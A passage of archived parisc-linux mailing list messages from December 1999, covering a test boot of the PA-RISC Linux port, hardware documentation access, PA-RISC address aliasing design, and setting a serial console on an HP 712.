> 
> *********************************************************
> 
> VMLINUX 0.0: Dummy kernel image loaded and executing!
> 
> It is now safe to reboot. (you should see this at least once, and upto 6 times).
> 
> ---------------------------------------------------------------------------
> The very last thing you should see is a "spinning cursor" which means
> you reached the last statement in the bootstrap (i.e. passed). (this is
> an infinite loop, the cursor will spin forever until you reboot).

Got This.

> It seems that some characters get dropped on some systems, usually when
> booting over the network. I don't know why this is the case, and HPs
> documentation doesn't say anything about needing delays during console I/O.

Screen looks good, mine is running on a graphics display, not an ASCII
terminal.

-- 

Justin Hamilton
mailto:JHamilton@Earthling.Net

CTOP Computers
mailto:CTOP@Technologist.Com

-- "Microsoft announced today that the official release date for the new
operating system 'Windows 2000' will be delayed until the second quarter
of 1901."

-- "The number of UNIX installations has grown to 10, with more
expected." - The UNIX Programmer's Manual, Second Edition (June 1972)
--------------F37B0E25A39500AA966A619F
Content-Type: text/x-vcard; charset=us-ascii;
 name="CTOP.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Justin Hamilton
Content-Disposition: attachment;
 filename="CTOP.vcf"

begin:vcard 
n:Hamilton;Justin
tel;fax:(205) 985-8523
tel;work:(205) 620-CTOP (2867)
x-mozilla-html:TRUE
org:CTOP Computers
adr:;;549, Creekview Drive;Pelham;AL;35124;USA
version:2.1
email;internet:JHamilton@Earthling.Net
title:Linux Intranet Specialist
x-mozilla-cpt:;-16496
fn:Justin Hamilton
end:vcard

--------------F37B0E25A39500AA966A619F--

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Puffin sells out!
Date: Sun, 19 Dec 1999 18:43:34 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <19991219184334.N2016@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9912150048310.1301-100000@localhost.localdomain> <38587CE2.DF6D9A23@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618705 29342 80.91.229.3 (22 Nov 2014 01:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Sun Dec 19 10:39:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA15158
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Dec 1999 10:39:35 -0700
Original-Received: (qmail 21744 invoked by uid 15267); 19 Dec 1999 17:42:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21733 invoked from network); 19 Dec 1999 17:42:01 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 19 Dec 1999 17:42:01 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sun, 19 Dec 1999 18:41:59 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id SAA25307;
	Sun, 19 Dec 1999 18:44:35 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <38587CE2.DF6D9A23@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6624

> > Regardless I've allready heard rumors that the port is dead from
> > several people whom are quite distanced from the actual port.
> Anyone who thinks this port is dead clearly hasn't been reading the CVS
> mailing list or reading the weekly summary of changes.

Just for anyone who wants to be told this by one more person:

I don't believe the port will be negatively influenced by LC buying TPG.
In fact, I agree with Alex that the most likely result is positive.

There is the remote possibility that LC starts behaving stupid, but I
don't think it's worth it to think about that before it actually happened.

	Philipp Rumpf


From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Molitor <emolitor@molitor.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP releasing docs...
Date: Sun, 19 Dec 1999 13:19:50 -0600 (CST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912191314170.767-100000@localhost.localdomain>
References: <38597116.3E8A11A2@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618705 29345 80.91.229.3 (22 Nov 2014 01:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:45 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, dave@hiauly1.hia.nrc.ca,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: emolitor@molitor.org  Sun Dec 19 11:18:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA15663
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Dec 1999 11:18:07 -0700
Original-Received: (qmail 31757 invoked by uid 15267); 19 Dec 1999 18:20:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31744 invoked from network); 19 Dec 1999 18:20:32 -0000
Original-Received: from router.overcr.org (HELO localhost.localdomain) (root@209.41.104.129)
  by mailserv2.iuinc.com with SMTP; 19 Dec 1999 18:20:32 -0000
Original-Received: from localhost (emolitor@localhost)
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id NAA00769;
	Sun, 19 Dec 1999 13:19:50 -0600
X-Authentication-Warning: localhost.localdomain: emolitor owned process doing -bs
X-Sender: emolitor@localhost.localdomain
In-Reply-To: <38597116.3E8A11A2@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6625

On Thu, 16 Dec 1999, Alex deVries wrote:

> Alan Cox wrote:
> > > Ideally, though, developers will have access to all the hardware they're
> > > porting to.
> > Irrespective of who they work for ?
> 
> I actually meant that they'd have docs for the hardware they're porting
> too, but this is true too.
> 
> I think we've been pretty blind in giving hardware out at the start, and
> I don't see this changing.
> 
> However, what doesn't make sense is to ship people hardware that contain
> critical components that either a) don't yet have drivers written or b)
> we can't send docs on.

Oddly enough what about those of us out there with copies of old HP/UX?
Having only an old copy of HP/UX there is no way that I can compile a
kernel. Is there anyway a machine can be put online for uses such as this?
(Similar to what debian is doing with the Rebel Computing ne Corel
Netwinder?) I've got a machine and a DS3 at work which can be utilized for
such a purpose. (Via our client Novare we allready host the Debian master
server. [master.debian.org]) I just dont have an OS...

Is there any interest in this?

- Eric Molitor


From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP releasing docs...
Date: Sun, 19 Dec 1999 19:10:12 +0000 (GMT)
Lines: 6
Approved: news@gmane.org
Message-ID: <E11zlig-0007zt-00@the-village.bc.nu>
References: <Pine.LNX.4.10.9912191314170.767-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618706 29347 80.91.229.3 (22 Nov 2014 01:11:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:46 +0000 (UTC)
Cc: adevries@thepuffingroup.com, alan@lxorguk.ukuu.org.uk,
        dave@hiauly1.hia.nrc.ca, parisc-linux@thepuffingroup.com
To: emolitor@molitor.org (Eric Molitor)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Dec 19 12:08:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA16394
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Dec 1999 12:08:39 -0700
Original-Received: (qmail 13350 invoked by uid 15267); 19 Dec 1999 19:11:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13340 invoked from network); 19 Dec 1999 19:11:06 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 19 Dec 1999 19:11:06 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11zlig-0007zt-00; Sun, 19 Dec 1999 19:10:14 +0000
In-Reply-To: <Pine.LNX.4.10.9912191314170.767-100000@localhost.localdomain> from "Eric Molitor" at Dec 19, 99 01:19:50 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6626

> Oddly enough what about those of us out there with copies of old HP/UX?
> Having only an old copy of HP/UX there is no way that I can compile a

HP released the SOM linker source so hopefully that will get solved and 
allow cross compiles eventually.


From - Thu Nov 08 21:11:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP releasing docs...
Date: Sun, 19 Dec 1999 15:16:02 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <199912192016.PAA02496@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.10.9912191314170.767-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618706 29351 80.91.229.3 (22 Nov 2014 01:11:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:46 +0000 (UTC)
Cc: adevries@thepuffingroup.com, alan@lxorguk.ukuu.org.uk,
        parisc-linux@thepuffingroup.com
To: emolitor@molitor.org (Eric Molitor)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Dec 19 13:13:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA16936
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Dec 1999 13:13:39 -0700
Original-Received: (qmail 30042 invoked by uid 15267); 19 Dec 1999 20:16:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30032 invoked from network); 19 Dec 1999 20:16:06 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 19 Dec 1999 20:16:06 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA02496;
	Sun, 19 Dec 1999 15:16:03 -0500 (EST)
In-Reply-To: <Pine.LNX.4.10.9912191314170.767-100000@localhost.localdomain> from "Eric Molitor" at Dec 19, 99 01:19:50 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6627

> Oddly enough what about those of us out there with copies of old HP/UX?
> Having only an old copy of HP/UX there is no way that I can compile a
> kernel. Is there anyway a machine can be put online for uses such as this?

How old is your HP-UX?  I was able to build with 9.01.  If you let me
know what the problem is, there may a solution to resolve the problems
that you are having.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jerry Huck <jerry_huck@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Comments on non-equivalent aliasing and PA-RISC (long)
Date: Mon, 20 Dec 1999 15:24:41 -0800 (PST)
Lines: 155
Approved: news@gmane.org
Message-ID: <199912202324.PAA09663@lucy.cup.hp.com>
References: <19991217152206.B1829@mathe.stud.uni-erlangen.de>
Reply-To: huck@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618706 29358 80.91.229.3 (22 Nov 2014 01:11:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de
Original-X-From: huck@cup.hp.com  Mon Dec 20 16:22:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA25761
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Dec 1999 16:22:29 -0700
Original-Received: (qmail 19491 invoked by uid 15267); 20 Dec 1999 23:24:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19483 invoked from network); 20 Dec 1999 23:24:57 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 20 Dec 1999 23:24:57 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by atlrel1.hp.com (Postfix) with ESMTP id 545F4910F
	for <parisc-linux@thepuffingroup.com>; Mon, 20 Dec 1999 18:24:56 -0500 (EST)
Original-Received: (from huck@localhost) by lucy.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA09663; Mon, 20 Dec 1999 15:24:42 -0800 (PST)
In-Reply-To: <19991217152206.B1829@mathe.stud.uni-erlangen.de> from Philipp Rumpf at Dec "17," 1999 "03:22:06" pm
X-Mailer: ELM [$Revision: 1.17.214.3 $]
Original-Sender: huck@cup.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:6628

> Date: Fri, 17 Dec 1999 15:22:06 +0100
> From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
> To: Jerry Huck <huck@cup.hp.com>
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] Comments on non-equivalent aliasing and PA-RISC (long)

...

> > A different mechanism is used to provide protection (protection IDs).  A
> > specialization of this approach is address space IDs used in some
> > other RISC architectures.  This augments the per-process address space
> > to avoid TLB purging on context switch.
> > 
> > When data is not shared between processes, then everything is simple.
> > Sharing on traditional page-table per process architectures is done via
> > aliasing.  Sharing on PA-RISC is done by using the same GVA.
> 
> Doesn't sound right to me.  Sharing address spaces between threads can
> be done using the same GVA.  Normal mmap style sharing we can do using
> duplicated TLB entries, right ?

"threads" definitely done with using the same GVA (or VA on traditional
machines).  Not sure what you mean by "duplicated TLB entries".  Normal
mmap style sharing could be done with the same GVA and the same TLB
entry (entries).  It gets complicated if someone wants different
fixed addresses or different protection modes.

> > Single address space models didn't normally require aliasing.  A
> > process was always given a global address to the data.  Protection is
> > done using the Protection IDs.  This works very well when you can
> > control the system call semantics.  Sharing is easy and the tough
> > things (like very different access rights to the same VA range) are
> > just outlawed.  Unix process semantics that suggested aliasing (like
> > fork) could be easily implemented using shared global addresses.  The
> > text segment is directly shared by using the same space register ID.
> 
> This sounds like it'd be hard to get Linux to do right.  Furthermore it's
> a rather minor optimization (it's about copying page tables, not about 
> copying pages).

We might be thinking of different things here.  I don't know if Linux
separates the notion of the program text object from the "owning" process.
My only point was the ability to minimize VM object overhead having
a single instance of the object that multiple processes (and threads) can
"mmap" to themselves.  This saves in kernel structures and page table
entries.

> > Data segment sharing is done via copy-on-access instead of
> > copy-on-write.
> 
> I think there shouldn't be a problem with doing standard COW though.

A pure GVA model does discourage standard COW.  When the process
forks, you would hand out a new data segment ID (say SR5 like HP-UX).
The fork is fast - just change the SR, but each access to SR5 takes
a fault and needs a copy of the original page.  If you put a little
aliasing into place (and take the hit in more live translations) then
you can use a more standard COW.  Again, the comments were restricted
to a more traditional single address space model.  Unix forking is
really matched to an aliasing model.  Are measurements of COA and COW
were inconclusive.  Most things worked well under either model.

> > Sharing is done with SR6 and SR7 being common between
> > all processes.
> > 
> > The other nice aspect of single address space models is the sharing of
> > TLB entries.
> 
> Did I miss the first one ?

I counted the "sharing of a single VM object description and address"
as the first one.

> > Sharing is done by using the same global virtual address
> > - hence it's covered by the same TLB entry.  The OS can keep a single
> > data structure for that object and just record the processes that
> > attach to it.  For example, there is a single text segment for all the
> > "vi" processes.  They all share the same page table and TLB entries for
> > that segment.
> 
> Sounds hard to get to work with the page cache.

We bypass the page cache for these kinds of mapped objects.  Since the
kernel can make "text" objects special it can avoid coherence issues
with the page cache - oddities like: execute a program and then
rewrite or delete the file before that part of the file is executed.

> > Single address spaces are not without problems.  The biggest in
> > PA-RISC was the 1G limit for each of the quadrants.  An aliased model
> > allows a flexible boundary between stack, heap, text, shared data,
> > etc.  We had to make special hacks to get around the problems - some
> > that encouraged some limited aliasing.  IBM's RS6000 has a little bit
> > of the same issue but had 16 space-like registers (upper 4-bits of
> > each 32-bit offset).  They could more easily adjust boundaries to
> > allow flexible sizing of process address space.  As many people have
> > said in the past, "this is not a problem for the 2.0 architecture
> > since a 62-bit offset is more than enough for the future - or at
> > least until I retire".
> 
> If only it was 62 bits.  The space register ORing really makes that part
> less fun.

As a kernel developer, you should really think of space registers
and offsets being concatenated together.  The concatenation point is
up to you and can be different for each SR.  The hardware can think of
the GVA in OR'ing terms.

...snip...

> > The first specs completely outlawed all aliasing.  It was/is expected
> > that the OS flush the range whenever a virtual address (VA) needed to
> > be changed.  An early change was made to allow PA=VA aliasing in '84.  The
> > OS couldn't begin to manage the page tables if that aliasing wasn't
> > allowed.
> 
> Okay, so we don't care about pre-84 boxes (are there any ?)

My dates are connected with architecture releases.  PA1.0 started
shipping in 1986.  Thankfully, I think you can totally ignore any 1.0
machines.  Have the boot driver do:
   arch_rev = PDC_MODEL.return_info.arch_rev
   if( arch_rev  == REV1.0) {
         panic()
   else ...

> > The first 1.1 book (11/90) defined the first virtual aliasing model -
> > limited space aliasing.  It allows space aliasing if certain bits
> > match between the addresses.  For PCX-S, this means you have just 4
> > bits that can be used as an alias. For example, address
> > 0x1234.00000000 (space register contents = 0x1234, offset = 00000000)
> > can be aliased to address 0x2234.00000000.  This change was encouraged
> > by some of the Apollo engineers that wanted to enable some amount of
> > aliasing to help with Domain needs (they wanted more).  Several of the
> > machines used the low-order space bits as part of the cache-index
> > computation.  So two addresses like 0x1.00000000 and 0x2.0000000 would
> > definitely NOT be in the same spot in the cache.
> 
> So on these it's still quite hard to get Linux running and probably not
> worth it.

Fortunately, the architecture was more restrictive than the HW.  You can
assume that all boxes meet the 1.1e3 spec (modulo bugs).  You can have
offset aliasing.

...snip...

> > virtual mode references in TLB miss handler, and manage these aliases in
> 
> Why should the TLB miss handler ever enable address translation ?

I wasn't sure how the forward-mapped page tables would be searched.
Some OSs do a virtual reference.  Sticking to absolute accesses is best.

Jerry


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Justin Hamilton" <JHamilton@Earthling.Net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to set serial console on 712
Date: Thu, 23 Dec 1999 07:51:18 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <NDBBKIEANAMHBNPAILKPOEBLCFAA.JHamilton@Earthling.Net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618706 29361 80.91.229.3 (22 Nov 2014 01:11:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:46 +0000 (UTC)
To: "Parisc-Linux List" <parisc-linux@thepuffingroup.com>
Original-X-From: JHamilton@Earthling.Net  Thu Dec 23 05:48:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA13342
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 05:48:48 -0700
Original-Received: (qmail 1082 invoked by uid 15267); 23 Dec 1999 12:51:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1075 invoked from network); 23 Dec 1999 12:51:20 -0000
Original-Received: from mail0.atl.bellsouth.net (205.152.0.27)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 12:51:20 -0000
Original-Received: from enterprise (host-209-214-89-24.atl.bellsouth.net [209.214.89.24])
	by mail0.atl.bellsouth.net (3.3.5alt/0.75.2) with SMTP id HAA09698
	for <parisc-linux@thepuffingroup.com>; Thu, 23 Dec 1999 07:48:46 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:6629

How do I set the console on my 712 to be the serial port, not the graphics
display?

Thanks


Justin Hamilton
mailto:JHamilton@Earthling.Net

-- "The linuX Files -- The Source is Out There."

-- "Microsoft announced today that the official release date for the new
operating system 'Windows 2000' will be delayed until the second quarter of
1901."

-- "The number of UNIX installations has grown to 10, with more expected." -
The UNIX Programmer's Manual, Second Edition (June 1972)


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marcus Thiessel <thiessel@bbn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to set serial console on 712
Date: Thu, 23 Dec 1999 14:04:40 +0100 (MET)
Lines: 8
Approved: news@gmane.org
Message-ID: <14434.7656.491320.118819@tmbbwmt.bbn.hp.com>
References: <NDBBKIEANAMHBNPAILKPOEBLCFAA.JHamilton@Earthling.Net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 1.5)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416618707 29363 80.91.229.3 (22 Nov 2014 01:11:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: JHamilton@Earthling.Net
Original-X-From: thiessel@bbn.hp.com  Thu Dec 23 06:04:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA13904
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 06:04:05 -0700
Original-Received: (qmail 4236 invoked by uid 15267); 23 Dec 1999 13:06:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4224 invoked from network); 23 Dec 1999 13:06:37 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 13:06:37 -0000
Original-Received: from hpbblba.bbn.hp.com (hpbblba.bbn.hp.com [15.136.125.16])
	by palrel3.hp.com (Postfix) with ESMTP
	id 82B3C635; Thu, 23 Dec 1999 05:06:35 -0800 (PST)
Original-Received: from bbn.hp.com (tmbbwmt.bbn.hp.com [15.136.25.175])
	by hpbblba.bbn.hp.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id OAA27871;
	Thu, 23 Dec 1999 14:04:41 +0100 (MET)
Original-Received: (from thiessel@localhost)
	by bbn.hp.com (8.8.6 (PHNE_17190)/8.8.6) id OAA02570;
	Thu, 23 Dec 1999 14:04:40 +0100 (MET)
In-Reply-To: <NDBBKIEANAMHBNPAILKPOEBLCFAA.JHamilton@Earthling.Net>
X-Mailer: VM 6.72 under 21.2  (beta23) "Hebe" XEmacs Lucid
X-Face: $Ni[2@rr#(N|NUCz5KIWbyoZAxlt%A0v\FN^6!ES@.B}HU9e_*
        9(r<jZ#<3-wN>uLWwCx'bZvjo<d!Gw1ZDpvyWz8F(2x%&~>KvMR
        #;;T1kZYsWEGnbkXl76=Eb%qdUBo7]:[AmX&RqthqAPcqSQ95n{
        fJBPEP{fXYYdGezPd7;=(g{*FDUw8!XB*EXNi@@x&Qi>~Ha'$V%`
X-Attribution: mt
Xref: news.gmane.org gmane.linux.ports.parisc:6630

Justin Hamilton writes:
> How do I set the console on my 712 to be the serial port, not the graphics
> display?

Unplugging the keyboard should work. (Works for all the newer once.)

--Marcus


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to set serial console on 712 (fwd)
Date: Thu, 23 Dec 1999 07:45:00 -0800 (PST)
Lines: 14
Approved: news@gmane.org
Message-ID: <199912231545.HAA07557@meow.sr.hp.com>
Reply-To: bkatz@agilent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618707 29370 80.91.229.3 (22 Nov 2014 01:11:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Thu Dec 23 08:42:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA14991
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 08:42:30 -0700
Original-Received: (qmail 21802 invoked by uid 15267); 23 Dec 1999 15:45:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21794 invoked from network); 23 Dec 1999 15:45:03 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 15:45:03 -0000
Original-Received: from postal.sr.hp.com (postal.sr.hp.com [15.4.46.173])
	by atlrel2.hp.com (Postfix) with ESMTP id 0FD30B2F
	for <parisc-linux@thepuffingroup.com>; Thu, 23 Dec 1999 10:45:02 -0500 (EST)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id HAA27252 for <parisc-linux@thepuffingroup.com>; Thu, 23 Dec 1999 07:45:34 -0800 (PST)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id HAA07557 for parisc-linux@thepuffingroup.com; Thu, 23 Dec 1999 07:45:00 -0800 (PST)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6631

|How do I set the console on my 712 to be the serial port, not the graphics
|display?
|
|Thanks
|

Boot to ISL and use the conspath
command to change the console back to rs232.  The command to use is:

serial
        conspath 2/0/4.643
graphics
        conspath 1/0/0.0


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to set serial console on 712 (fwd)
Date: Thu, 23 Dec 1999 11:15:27 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <19991223111527.L12629@thepuffingroup.com>
References: <199912231545.HAA07557@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618707 29371 80.91.229.3 (22 Nov 2014 01:11:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bkatz@agilent.com
Original-X-From: willy@thepuffingroup.com  Thu Dec 23 09:13:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA15512
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 09:12:59 -0700
Original-Received: (qmail 1955 invoked by uid 15267); 23 Dec 1999 16:15:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1947 invoked from network); 23 Dec 1999 16:15:31 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 16:15:31 -0000
